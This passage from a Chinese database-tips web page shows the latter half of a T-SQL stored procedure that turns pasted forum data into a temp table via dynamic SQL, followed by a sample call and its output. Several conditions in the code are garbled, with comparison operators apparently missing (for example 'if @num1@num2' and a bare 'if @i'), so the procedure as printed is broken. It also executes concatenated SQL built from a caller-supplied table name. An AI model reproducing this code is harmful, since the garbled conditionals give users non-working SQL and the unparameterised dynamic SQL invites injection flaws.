if @j>0 and (@j<@i or @j>@i and substring(@a,@i,@j-@i)=space(@j-@i)) begin

set @i=@j

if @k>@num2 and @k-1 set @num2=@k

set @k=-1

end

if @i=0 set @i=(case when @j>0 then @j else len(@a)+1 end)

select @j=max(ID) from #xx

if @m=1 or @j<=@num1 or (select blank from @dt where ID=@m-1) 1

begin

if @j<@num1 set @x='['+replace(rtrim(left(@a,@i-1)),']',']]')+']'

else set @x=rtrim(left(replace(@a,'''',''''''),@i-1))

insert into #xx(val) values(@x)

end

else

begin

update #xx set val=val+' '+rtrim(left(@a,@i-1)) where ID=@j

set @m=@m-1

end

end

if @i

else set @a=''

end

update #xx set val='' where val='NULL'

update #xx set val=''''+val+'''' where ID>@num2

if @num1@num2

begin

RAISERROR ('datatype dismatch the columns',16,1)

return

end

-- if use the exists template table,drop it

if object_id('tempdb.dbo.'+@table_name) is not null

exec('drop table '+@table_name)

-- 建表

update a

set a.fld_name=b.val

from @dt a,#xx b

where a.ID=b.ID and a.ID<=@num1

set @a=''

select @a=@a+fld_name+' '+fld_type+',' from @dt where ID<=@num1

set @a=left(@a,len(@a)-1)

set @sql='create table '+@table_name+'('+@a+')'

exec(@sql)

insert into @sqlt select @sql

--插入数据

set @i=@num1+1

while @i<=(select max(ID) from #xx)

begin

set @a=''

set @sql='select @s=@s+val+'','''+' from (select top '+convert(varchar(10),@num1)

+' val from #xx where ID>='+convert(varchar(10),(@i))+') a'

exec sp_executesql @sql,N'@s nvarchar(3000) output',@a output

set @a=left(@a,len(@a)-1)

set @sql='insert into '+@table_name+' select '+@a

if len(@a)>0 exec(@sql)

insert into @sqlt select @sql

set @i=@i+@num1

end

select * from @sqlt

--select * from @dt

exec('select * from '+@table_name)

SET NOCOUNT OFF

END

测试

exec dbo.create_table '##t2','varchar(20),datetime k','

ID                  AnDate

99101               2002-11-24 00:00:00.000

99101               2003-11-15 00:00:00.000

99101               2003-11-29 00:00:00.000

99101               2003-12-20 00:00:00.000'

结果

sql_statement

--------------------------------------------------------

create table ##t2(ID varchar(20),AnDate datetime)

insert into ##t2 select '99101','2002-11-24 00:00:00.000'

insert into ##t2 select '99101','2003-11-15 00:00:00.000'

insert into ##t2 select '99101','2003-11-29 00:00:00.000'

insert into ##t2 select '99101','2003-12-20 00:00:00.000'

ID                  AnDate

-------------------- ---------------------------

99101               2002-11-24 00:00:00.000

99101               2003-11-15 00:00:00.000

99101               2003-11-29 00:00:00.000

99101               2003-12-20 00:00:00.000

ORACLE的写法在测试中,

【收藏几段SQL Server语句和存储过程】相关文章:

1.浅析Oracle和SqlServer存储过程的调试、出错处理数据库

2.sybase存储过程问题

3.触发器与存储过程互调数据库

4.创建作业的通用存储过程数据库教程

5.MySQL两种表存储结构性能比较测试过程

6.一个将数据分页的存储过程数据库教程

7.惠普存储和服务器集群解决方案

8.一个查看MSSQLServer数据库空间使用情况的存储过程 SpaceUsed

9.直接从SQL语句问题贴子数据建表并生成建表语句的存储过程数据库教程

10.在PL/SQL 开发中调试存储过程和函数的一般性方法数据库教程

下载word文档
《收藏几段SQL Server语句和存储过程.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部